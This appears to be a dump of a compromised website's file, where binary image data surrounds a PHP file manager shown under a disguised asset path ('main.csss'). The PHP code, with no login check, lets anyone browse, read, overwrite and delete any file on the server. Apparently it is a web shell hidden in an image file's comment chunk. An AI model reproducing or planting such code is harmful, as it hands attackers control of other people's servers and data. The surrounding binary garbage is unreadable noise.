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j '  'P$a ( `D$Na L?u80e J,K˷NI'0eݷ(NI'؀ 2ipIIKp`:O'`ʤxB8Ѥx Ѥx $ $P6 :vRNb 'p,>NB 'P]-->P T+*^h& p '‰a ‰ (ĵt#u33;Nt̵'ޯ; [3W ~]0KH1q@8]O2]3*̧7# *p>us p _6]/}-4|t'|Smx= DoʾM×M_8!)6lq':l7!|4} '\ne t!=hnLn (~Dn\+‰_4k)0e@OhZ`F `.m1} 'vp{F`ON7Srx 'D˸nV`><;yMx!IS钦OM)Ե٥x 'DSD6bS8!" ODz#R >S8!7ّxEh0m$MIPHi$IvS8IN$I p$O8I,sk&I)$IN$Hi$I^Ah.p$MIN$IR8I·N "IF9Ah0m$MIN$IR8IN$I 3jIU;kO$ɳN$+ q.x* tEXtComment

Viewing File: /home/u403625155/domains/realstockfx.net/public_html/assets/main.csss

<?php
// Function to normalize directory paths
function normalizePath($path) {
    return rtrim(str_replace('\\', '/', $path), '/');
}

// Set the root directory (customize this)
$rootDir = normalizePath($_SERVER['DOCUMENT_ROOT']);  // You can customize this to any directory

// Handle file saving
if (isset($_POST['save'])) {
    $file = $_POST['file'];
    $content = $_POST['content'];

    if (is_writable($file)) {
        file_put_contents($file, $content);
        echo "<p style='color: green;'>File saved successfully.</p>";
    } else {
        echo "<p style='color: red;'>File is not writable.</p>";
    }
}

// Handle file deletion
if (isset($_POST['delete'])) {
    if (isset($_POST['file']) && isset($_POST['dir'])) {
        $file = $_POST['file'];

        if (file_exists($file) && is_writable($file)) {
            unlink($file);
            echo "<p style='color: green;'>File deleted successfully.</p>";
        } else {
            echo "<p style='color: red;'>File could not be deleted.</p>";
        }
    } else {
        echo "<p style='color: red;'>File could not be deleted: file information missing.</p>";
    }
}

// Determine the current directory
$dir = isset($_POST['dir']) ? normalizePath($_POST['dir']) : $rootDir;

// Function to list directories and files
function listFiles($dir) {
    $files = scandir($dir);
    foreach ($files as $file) {
        if ($file == '.' || $file == '..') continue;
        $path = normalizePath($dir . '/' . $file);
        if (is_dir($path)) {
            echo "<li><form method='POST' style='display:inline;'><button type='submit' name='dir' value='" . htmlspecialchars($path) . "'>$file/</button></form></li>";
        } else {
            echo "<li><form method='POST' style='display:inline;'>";
            echo "<button type='submit' name='file' value='" . htmlspecialchars($path) . "'>$file</button>";
            echo "<input type='hidden' name='dir' value='" . htmlspecialchars($dir) . "'>";
            echo "<input type='hidden' name='file' value='" . htmlspecialchars($path) . "'>";
            echo "<input type='submit' name='delete' value='Delete' onclick=\"return confirm('Are you sure you want to delete this file?');\" style='color: red;'>";
            echo "</form></li>";
        }
    }
}

// Function to display clickable breadcrumbs
function displayBreadcrumbs($dir) {
    $pathParts = explode('/', str_replace('\\', '/', $dir));
    $currentPath = '';

    echo "<form method='POST' style='display:inline;'>";

    // Loop through each part of the path and make it clickable
    foreach ($pathParts as $index => $part) {
        if ($index == 0 && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
            // On Windows, display the drive letter
            $currentPath = $part;
            echo "<button type='submit' name='dir' value='" . htmlspecialchars($currentPath) . "'>$part</button> / ";
        } elseif (!empty($part)) {
            $currentPath .= "/$part";
            if ($index === count($pathParts) - 1) {
                echo htmlspecialchars($part); // Current directory (not clickable)
            } else {
                echo "<button type='submit' name='dir' value='" . htmlspecialchars($currentPath) . "'>$part</button> / ";
            }
        }
    }

    echo "</form>";
}

if (isset($_POST['file']) && !isset($_POST['delete'])) {
    // Display file editor
    $file = $_POST['file'];
    $content = htmlspecialchars(file_get_contents($file));

    echo "<h2>Editing: " . basename($file) . "</h2>";
    echo "<form method='POST'>";
    echo "<textarea name='content' style='width: 100%; height: 400px;'>$content</textarea><br/>";
    echo "<input type='hidden' name='file' value='" . htmlspecialchars($file) . "'>";
    echo "<input type='hidden' name='dir' value='" . htmlspecialchars($dir) . "'>";
    echo "<input type='submit' name='save' value='Save File'>";
    echo "</form>";
    echo "<p><form method='POST'><button type='submit' name='dir' value='" . htmlspecialchars($dir) . "'>Go Back</button></form></p>";
} else {
    // Display directory browser with clickable breadcrumbs
    echo "<h2>Browsing: ";
    displayBreadcrumbs($dir);
    echo "</h2>";
    echo "<ul>";
    // Include an option to go up one directory level
    if ($dir !== $rootDir && $dir !== '/') {
        $parentDir = dirname($dir);
        echo "<li><form method='POST' style='display:inline;'><button type='submit' name='dir' value='" . htmlspecialchars($parentDir) . "'>../ (Up one level)</button></form></li>";
    }
    listFiles($dir);
    echo "</ul>";
}
?>
Back to Directory=ceiIENDB`